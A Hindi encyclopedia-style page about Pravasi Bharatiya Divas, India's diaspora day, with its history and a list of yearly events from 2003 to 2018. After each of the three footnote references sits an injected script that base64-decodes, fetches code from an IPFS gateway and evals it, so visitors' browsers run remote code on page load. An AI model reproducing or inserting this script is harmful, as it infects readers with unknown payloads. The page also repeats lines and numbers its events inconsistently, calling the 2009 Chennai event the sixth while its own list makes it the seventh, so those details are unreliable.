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'''प्रवासी भारतीय दिवस''' या '''अनिवासी भारतीय दिवस''' [[9 जनवरी]] को पूरे [[भारत]] में मनाया जाता है। [[9 जनवरी]]  [[1915]] को प्रवासी भारतीय दिवस के रूप में मान्यता दी गई है क्योंकि इसी दिन [[महात्मा गांधी]] [[दक्षिण अफ्रीका]] से [[भारत]] लौटे और अंततः दुनिया भर में प्रवासी भारतीयों और औपनिवेशिक शासन के तहत लोगों के लिए और भारत के सफल स्वतंत्रता संघर्ष के लिए प्रेरणा बने। यह दिन हर साल प्रवासी भारतीय दिवस (पीबीडी) सम्मेलन के रूप में मनाया जाता है। प्रवासी भारतीय दिवस 'प्रवासी भारतीय मामले मंत्रालय' का प्रमुख कार्यक्रम है।
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==प्रवासी भारतीय समुदाय==
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[[भारत]] विश्व का दूसरा सबसे बड़ा डायस्पोरा है। प्रवासी भारतीय समुदाय अनुमानतः 2.5 करोड़ से अधिक है। जो विश्व के हर बड़े क्षेत्र में फैले हुए हैं। फिर भी किसी एक महान् भारतीय प्रवासी समुदाय की बात नहीं की जा सकती। प्रवासी भारतीय समुदाय सैंकड़ों वर्षों में हुए उत्प्रवास का परिणाम है और इसके पीछे विभिन्न कारण रहे हैं, जैसे- वाणिज्यवाद, उपनिवेशवाद और वैश्वीकरण। इसके शुरू के अनुभवों में कोशिशों, दुःख-तकलीफों और दृढ़ निश्चय तथा कड़ी मेहनत के फलस्वरूप सफलता का आख्यान है। 20वीं शताब्दी के पिछले तीन दशकों के उत्प्रवास का स्वरूप बदलने लगा है और "नया प्रवासी समुदाय" उभरा है जिसमें उच्च कौशल प्राप्त व्यावसायिक पश्चिमी देशों की ओर तथा अकुशल,अर्धकुशल कामगार खाड़ी, पश्चिम और दक्षिण पूर्व [[एशिया]] की और ठेके पर काम करने जा रहे हैं।
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[[चित्र:Pravasi-Bharatiya-samman-manmohan-singh.jpg|thumb|left|प्रधानमंत्री [[मनमोहन सिंह]] प्रवासी भारतीय सम्मान समारोह के दौरान]]
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इस प्रकार, प्रवासी भारतीय समुदाय एक विविध विजातीय और मिलनसार वैश्विक समुदाय है जो विभिन्न धर्मों, भाषाओं, संस्कृतियों और मान्यताओं का प्रतिनिधित्व करता है। एक आम सूत्र जो इन्हें आपस में बांधे हुए है, वह है भारत और इसके आंतरिक मूल्यों का विचार। प्रवासी भारतीयों में भारतीय मूल के लोग और अप्रवासी भारतीय शामिल हैं और ये विश्व में सबसे शिक्षित और सफल समुदायों में आते हैं। विश्व के हर कोने में, प्रवासी भारतीय समुदाय को इसकी कड़ी मेहनत, अनुशासन, हस्तक्षेप न करने और स्थानीय समुदाय के साथ सफलतापूर्वक तालमेल बनाये रखने के कारण जाना जाता है। प्रवासी भारतीयों ने अपने आवास के देश की अर्थव्यवस्था में महत्त्वपूर्ण योगदान किया है और स्वयं में ज्ञान और नवीनता के अनेक उपायों का समावेश किया है। <ref>{{cite web |url=http://archive.india.gov.in/hindi/knowindia/overseas_indians_affairs.php |title=प्रवासी भारतीय और प्रवासी भारतीय मामले मंत्रालय |accessmonthday=3 जनवरी |accessyear=2014 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>
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==प्रवासी भारतीय दिवस==
 
*प्रवासी भारतीय दिवस को मनाने की शुरुआत सन [[2003]] से हुई थी।
 
*प्रवासी भारतीय दिवस को मनाने की शुरुआत सन [[2003]] से हुई थी।
 
*प्रवासी भारतीय दिवस के अवसर पर प्रतिवर्ष तीन दिवसीय कार्यक्रम आयोजित किए जाते हैं जिसमें उन भारतीयों को सम्मानित किया जाता है जिन्होंने विदेश में जाकर भारतवर्ष का नाम ऊँचा किया है।
 
*प्रवासी भारतीय दिवस के अवसर पर प्रतिवर्ष तीन दिवसीय कार्यक्रम आयोजित किए जाते हैं जिसमें उन भारतीयों को सम्मानित किया जाता है जिन्होंने विदेश में जाकर भारतवर्ष का नाम ऊँचा किया है।
;छठवें प्रवासी भारतीय दिवस  
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==प्रवासी भारतीय देश की उन्नति==
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'''मैं जहां भी रहूँ, मैं कहीं भी रहूँ तेरी याद आती है''', भले जिस्म से भारतीय किसी भी देश में बस गए हों लेकिन आज भी उनका दिल भारत के लिए धड़कता है। वह आज भी [[होली]], [[दीपावली|दीपावली,]] [[ईद]] मनाते हैं। टीम इंडिया की विजय की कामना करते हैं और हर पल भारत वापस आने की सोचते हैं।
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==वर्ष क्रम==
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2003 से लेकर अब तक हर [[साल]] भारत के किसी भी शहर में प्रवासी भारतीय दिवस मनाया जाता है। अब तक मनाए गए सभी प्रवासी भारतीय दिवस की एक अनुसूची निम्नलिखित है-
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*[[2003]] पहला प्रवासी भारतीय दिवस, [[नई दिल्ली]]
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*[[2004]] दूसरा प्रवासी भारतीय दिवस, नई दिल्ली
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*[[2005]] तीसरा प्रवासी भारतीय दिवस, [[मुंबई]]
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*[[2006]] चौथा प्रवासी भारतीय दिवस,  [[हैदराबाद]]
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*[[2007]] पांचवा प्रवासी भारतीय दिवस, नई दिल्ली
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*[[2008]] छठां प्रवासी भारतीय दिवस, नई दिल्ली
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*[[2009]] सातवां प्रवासी भारतीय दिवस, [[चेन्नई]]
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*[[2010]] आठवां प्रवासी भारतीय दिवस, नई दिल्ली
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*[[2011]] नवां प्रवासी भारतीय दिवस ,नई दिल्ली<ref>{{cite web |url=http://days.jagranjunction.com/2011/01/07/9th-pravasi-bhartiya-diwas/ |title=प्रवासी दिवस |accessmonthday=3 जनवरी |accessyear=2014 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>
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*[[2012]] दसवाँ प्रवासी भारतीय दिवस, [[जयपुर]], [[राजस्थान]]
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*[[2013]] ग्यारवाँ प्रवासी भारतीय दिवस, [[कोच्चि]], [[केरल]]
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*[[2014]] बारहवाँ प्रवासी भारतीय दिवस, [[नई दिल्ली]]
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*[[2015]] तेरहवाँ प्रवासी भारतीय दिवस, [[गाँधीनगर]], [[गुजरात]]
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*[[2016]] चौदहवां प्रवासी भारतीय दिवस, प्रवासी भारतीय दिवस, [[नई दिल्ली]]
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*[[2017]] पंद्रहवाँ प्रवासी भारतीय दिवस, [[बेंगलुरु]], [[कर्नाटक]]
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*[[2018]] सोलहवां प्रवासी भारतीय दिवस, सिंगापुर
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==इतिहास से==
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भारत के पांच हजार से भी पुराने महान् इतिहास में इस देश में विश्‍व के विभिन्‍न भागों से हर तरह के हमलावर एवं आगंतुक आते रहे हैं। इस प्रक्रिया में, अपने इतिहास के दौरान भारत ने अनेक संस्‍कृतियों एवं सभ्‍यताओं को समाहित किया है तथा सभी हमलावरों ने अंतत: भारत को अपने घर के रूप में अपनाया है। भारत में विदेशियों के आने का सिलसिला आर्यों से शुरू हुआ जो मध्‍य एशिया ये यहां आए थे तथा यह सिलसिला अंग्रेजों के समय तक चलता रहा जिन्‍होंने हमारे पहले अनिवासी भारतीय - [[मोहनदास करमचंद गांधी]] के नेतृत्‍व में महान् स्‍वतंत्रता संघर्ष के कारण भारत छोड़ा।
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[[चित्र:Pravasi-Bharatiya-samman-manmohan-singh-2.jpg|thumb|250px|[[8 जनवरी]], [[2013]] को [[केरल]] में 11वें प्रवासी भारतीय दिवस के अवसर पर [[प्रधानमंत्री]] [[मनमोहन सिंह|डॉ. मनमोहन सिंह]]]]
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जो भारतीय सबसे पहले विदेश गए वे [[सम्राट अशोक]] के दूत थे जो ईसा पूर्व तीसरी शताब्‍दी में [[बौद्ध धर्म]] के सिद्धांतों का प्रसार करने के लिए गए थे। इसके बाद [[चोल वंश]] ने अपनी शाखाओं को सुदूर पूर्व में फैलाया। ऐसा कहा जाता है कि भारत के व्‍यापारियों ने अपने खुद के पोतों का निमार्ण किया था तथा वे कारोबार की तलाश में [[रोम]] एवं [[चीन]] तक जा पहुंचे थे। 19वीं शताब्‍दी के दौरान तथा भारत में [[ब्रिटिश शासन]] की समाप्‍ति तक, भारत के लोग करारनामा प्रणाली के अंतर्गत अंग्रेजों के अन्‍य उपनिवेशों - [[मॉरीशस]], गुयाना, कैरेबियन, फिजी एवं [[अफ्रीका|पूर्वी अफ्रीका]] में गए। इसी अवधि में गुजराती एवं सिंधी सौदागर अडेन, [[ओमान]], [[बहरीन]], [[दुबई]], [[दक्षिण अफ्रीका]] एवं पूर्वी अफ्रीका, जिसमें से अधिकांश पर [[अंग्रेज|अंग्रेजों]] का शासन था, में जा कर बस गए। <ref>{{cite web |url=http://www.mea.gov.in/Speeches-Statements-hi.htm?dtl/21034/Speech+by+Minister+of+State+for+External+Affairs+Shri+E+Ahamed+at+the+Pravasi+Bharatiya+Divas+2013 |title=प्रवासी भारतीय दिवस 2013 के अवसर पर विदेश राज्‍य मंत्री श्री ई अहमद द्वारा भाषण |accessmonthday=3 जनवरी |accessyear=2014 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>
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==छठा प्रवासी भारतीय दिवस==
 
*छठवें प्रवासी भारतीय दिवस सम्मेलन का आयोजन राष्ट्रीय राजधानी क्षेत्र [[दिल्ली]] की सरकार तथा भारतीय उद्योग परिसंघ (सीआईआई) द्वारा संयुक्त रूप से [[7 जनवरी|7]]-9 जनवरी, 2009 को [[चेन्नई]] में किया गया।  
 
*छठवें प्रवासी भारतीय दिवस सम्मेलन का आयोजन राष्ट्रीय राजधानी क्षेत्र [[दिल्ली]] की सरकार तथा भारतीय उद्योग परिसंघ (सीआईआई) द्वारा संयुक्त रूप से [[7 जनवरी|7]]-9 जनवरी, 2009 को [[चेन्नई]] में किया गया।  
*सम्मेलन का उद्घाटन भारत के माननीय [[प्रधानमंत्री]] [[डॉ. मनमोहन सिंह]] ने किया। भारत की माननीय [[राष्ट्रपति]] [[प्रतिभा देवी सिंह पाटिल|श्रीमति प्रतिभा देवीसिंह पाटील]] ने 9 जनवरी को समापन सत्र में भारतीय मूल के 13 व्यक्तियों को प्रवासी भारतीय सम्मान प्रदान किए।  
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*सम्मेलन का उद्घाटन भारत के माननीय [[प्रधानमंत्री]] [[डॉ. मनमोहन सिंह]] ने किया। भारत की माननीय तत्कालीन [[राष्ट्रपति]] [[प्रतिभा देवी सिंह पाटिल|श्रीमति प्रतिभा देवीसिंह पाटील]] ने 9 जनवरी को समापन सत्र में भारतीय मूल के 13 व्यक्तियों को प्रवासी भारतीय सम्मान प्रदान किए।  
*प्रवासी भारतीय सम्मान पाने वालों का चयन भारत के माननीय [[उपराष्ट्रपति]] की अध्यक्षता में गठित ज्यूरी सह अवॉर्ड समिति द्वारा किया जाता है।
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*[[प्रवासी भारतीय सम्मान]] पाने वालों का चयन भारत के माननीय [[उपराष्ट्रपति]] की अध्यक्षता में गठित ज्यूरी सह अवॉर्ड समिति द्वारा किया जाता है।
*प्रवासी भारतीय दिवस 2009 में सूरीनाम के उपराष्ट्रपति रामदीन सरदजोई मुख्य अतिथि थे।
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*प्रवासी भारतीय दिवस 2009 में सूरीनाम के [[उपराष्ट्रपति]] रामदीन सरदजोई मुख्य अतिथि थे।
  
 
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05:41, 9 जनवरी 2018 के समय का अवतरण

प्रवासी भारतीय दिवस
प्रवासी भारतीय दिवस का प्रतीक
विवरण 'प्रवासी भारतीय दिवस' या 'अनिवासी भारतीय दिवस' 9 जनवरी को पूरे भारत में मनाया जाता है।
शुरुआत 2003
तिथि 9 जनवरी
कार्यक्रम प्रवासी भारतीय दिवस के अवसर पर प्रतिवर्ष तीन दिवसीय कार्यक्रम आयोजित किए जाते हैं जिसमें उन भारतीयों को सम्मानित किया जाता है जिन्होंने विदेश में जाकर भारतवर्ष का नाम ऊँचा किया है।
संबंधित लेख प्रवासी भारतीय
अन्य जानकारी 9 जनवरी 1915 को प्रवासी भारतीय दिवस के रूप में मान्यता दी गई है क्योंकि इसी दिन महात्मा गांधी दक्षिण अफ्रीका से भारत लौटे और अंततः दुनिया भर में प्रवासी भारतीयों और औपनिवेशिक शासन के तहत लोगों के लिए और भारत के सफल स्वतंत्रता संघर्ष के लिए प्रेरणा बने।
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प्रवासी भारतीय दिवस या अनिवासी भारतीय दिवस 9 जनवरी को पूरे भारत में मनाया जाता है। 9 जनवरी 1915 को प्रवासी भारतीय दिवस के रूप में मान्यता दी गई है क्योंकि इसी दिन महात्मा गांधी दक्षिण अफ्रीका से भारत लौटे और अंततः दुनिया भर में प्रवासी भारतीयों और औपनिवेशिक शासन के तहत लोगों के लिए और भारत के सफल स्वतंत्रता संघर्ष के लिए प्रेरणा बने। यह दिन हर साल प्रवासी भारतीय दिवस (पीबीडी) सम्मेलन के रूप में मनाया जाता है। प्रवासी भारतीय दिवस 'प्रवासी भारतीय मामले मंत्रालय' का प्रमुख कार्यक्रम है।

प्रवासी भारतीय समुदाय

भारत विश्व का दूसरा सबसे बड़ा डायस्पोरा है। प्रवासी भारतीय समुदाय अनुमानतः 2.5 करोड़ से अधिक है। जो विश्व के हर बड़े क्षेत्र में फैले हुए हैं। फिर भी किसी एक महान् भारतीय प्रवासी समुदाय की बात नहीं की जा सकती। प्रवासी भारतीय समुदाय सैंकड़ों वर्षों में हुए उत्प्रवास का परिणाम है और इसके पीछे विभिन्न कारण रहे हैं, जैसे- वाणिज्यवाद, उपनिवेशवाद और वैश्वीकरण। इसके शुरू के अनुभवों में कोशिशों, दुःख-तकलीफों और दृढ़ निश्चय तथा कड़ी मेहनत के फलस्वरूप सफलता का आख्यान है। 20वीं शताब्दी के पिछले तीन दशकों के उत्प्रवास का स्वरूप बदलने लगा है और "नया प्रवासी समुदाय" उभरा है जिसमें उच्च कौशल प्राप्त व्यावसायिक पश्चिमी देशों की ओर तथा अकुशल,अर्धकुशल कामगार खाड़ी, पश्चिम और दक्षिण पूर्व एशिया की और ठेके पर काम करने जा रहे हैं।

प्रधानमंत्री मनमोहन सिंह प्रवासी भारतीय सम्मान समारोह के दौरान

इस प्रकार, प्रवासी भारतीय समुदाय एक विविध विजातीय और मिलनसार वैश्विक समुदाय है जो विभिन्न धर्मों, भाषाओं, संस्कृतियों और मान्यताओं का प्रतिनिधित्व करता है। एक आम सूत्र जो इन्हें आपस में बांधे हुए है, वह है भारत और इसके आंतरिक मूल्यों का विचार। प्रवासी भारतीयों में भारतीय मूल के लोग और अप्रवासी भारतीय शामिल हैं और ये विश्व में सबसे शिक्षित और सफल समुदायों में आते हैं। विश्व के हर कोने में, प्रवासी भारतीय समुदाय को इसकी कड़ी मेहनत, अनुशासन, हस्तक्षेप न करने और स्थानीय समुदाय के साथ सफलतापूर्वक तालमेल बनाये रखने के कारण जाना जाता है। प्रवासी भारतीयों ने अपने आवास के देश की अर्थव्यवस्था में महत्त्वपूर्ण योगदान किया है और स्वयं में ज्ञान और नवीनता के अनेक उपायों का समावेश किया है। [1]

प्रवासी भारतीय दिवस

  • प्रवासी भारतीय दिवस को मनाने की शुरुआत सन 2003 से हुई थी।
  • प्रवासी भारतीय दिवस के अवसर पर प्रतिवर्ष तीन दिवसीय कार्यक्रम आयोजित किए जाते हैं जिसमें उन भारतीयों को सम्मानित किया जाता है जिन्होंने विदेश में जाकर भारतवर्ष का नाम ऊँचा किया है।

प्रवासी भारतीय देश की उन्नति

मैं जहां भी रहूँ, मैं कहीं भी रहूँ तेरी याद आती है, भले जिस्म से भारतीय किसी भी देश में बस गए हों लेकिन आज भी उनका दिल भारत के लिए धड़कता है। वह आज भी होली, दीपावली, ईद मनाते हैं। टीम इंडिया की विजय की कामना करते हैं और हर पल भारत वापस आने की सोचते हैं।

वर्ष क्रम

2003 से लेकर अब तक हर साल भारत के किसी भी शहर में प्रवासी भारतीय दिवस मनाया जाता है। अब तक मनाए गए सभी प्रवासी भारतीय दिवस की एक अनुसूची निम्नलिखित है-

  • 2003 पहला प्रवासी भारतीय दिवस, नई दिल्ली
  • 2004 दूसरा प्रवासी भारतीय दिवस, नई दिल्ली
  • 2005 तीसरा प्रवासी भारतीय दिवस, मुंबई
  • 2006 चौथा प्रवासी भारतीय दिवस, हैदराबाद
  • 2007 पांचवा प्रवासी भारतीय दिवस, नई दिल्ली
  • 2008 छठां प्रवासी भारतीय दिवस, नई दिल्ली
  • 2009 सातवां प्रवासी भारतीय दिवस, चेन्नई
  • 2010 आठवां प्रवासी भारतीय दिवस, नई दिल्ली
  • 2011 नवां प्रवासी भारतीय दिवस ,नई दिल्ली[2]
  • 2012 दसवाँ प्रवासी भारतीय दिवस, जयपुर, राजस्थान
  • 2013 ग्यारवाँ प्रवासी भारतीय दिवस, कोच्चि, केरल
  • 2014 बारहवाँ प्रवासी भारतीय दिवस, नई दिल्ली
  • 2015 तेरहवाँ प्रवासी भारतीय दिवस, गाँधीनगर, गुजरात
  • 2016 चौदहवां प्रवासी भारतीय दिवस, प्रवासी भारतीय दिवस, नई दिल्ली
  • 2017 पंद्रहवाँ प्रवासी भारतीय दिवस, बेंगलुरु, कर्नाटक
  • 2018 सोलहवां प्रवासी भारतीय दिवस, सिंगापुर

इतिहास से

भारत के पांच हजार से भी पुराने महान् इतिहास में इस देश में विश्‍व के विभिन्‍न भागों से हर तरह के हमलावर एवं आगंतुक आते रहे हैं। इस प्रक्रिया में, अपने इतिहास के दौरान भारत ने अनेक संस्‍कृतियों एवं सभ्‍यताओं को समाहित किया है तथा सभी हमलावरों ने अंतत: भारत को अपने घर के रूप में अपनाया है। भारत में विदेशियों के आने का सिलसिला आर्यों से शुरू हुआ जो मध्‍य एशिया ये यहां आए थे तथा यह सिलसिला अंग्रेजों के समय तक चलता रहा जिन्‍होंने हमारे पहले अनिवासी भारतीय - मोहनदास करमचंद गांधी के नेतृत्‍व में महान् स्‍वतंत्रता संघर्ष के कारण भारत छोड़ा।

8 जनवरी, 2013 को केरल में 11वें प्रवासी भारतीय दिवस के अवसर पर प्रधानमंत्री डॉ. मनमोहन सिंह

जो भारतीय सबसे पहले विदेश गए वे सम्राट अशोक के दूत थे जो ईसा पूर्व तीसरी शताब्‍दी में बौद्ध धर्म के सिद्धांतों का प्रसार करने के लिए गए थे। इसके बाद चोल वंश ने अपनी शाखाओं को सुदूर पूर्व में फैलाया। ऐसा कहा जाता है कि भारत के व्‍यापारियों ने अपने खुद के पोतों का निमार्ण किया था तथा वे कारोबार की तलाश में रोम एवं चीन तक जा पहुंचे थे। 19वीं शताब्‍दी के दौरान तथा भारत में ब्रिटिश शासन की समाप्‍ति तक, भारत के लोग करारनामा प्रणाली के अंतर्गत अंग्रेजों के अन्‍य उपनिवेशों - मॉरीशस, गुयाना, कैरेबियन, फिजी एवं पूर्वी अफ्रीका में गए। इसी अवधि में गुजराती एवं सिंधी सौदागर अडेन, ओमान, बहरीन, दुबई, दक्षिण अफ्रीका एवं पूर्वी अफ्रीका, जिसमें से अधिकांश पर अंग्रेजों का शासन था, में जा कर बस गए। [3]

छठा प्रवासी भारतीय दिवस


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टीका टिप्पणी और संदर्भ

  1. प्रवासी भारतीय और प्रवासी भारतीय मामले मंत्रालय (हिंदी)। । अभिगमन तिथि: 3 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. प्रवासी दिवस (हिंदी)। । अभिगमन तिथि: 3 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. प्रवासी भारतीय दिवस 2013 के अवसर पर विदेश राज्‍य मंत्री श्री ई अहमद द्वारा भाषण (हिंदी)। । अभिगमन तिथि: 3 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

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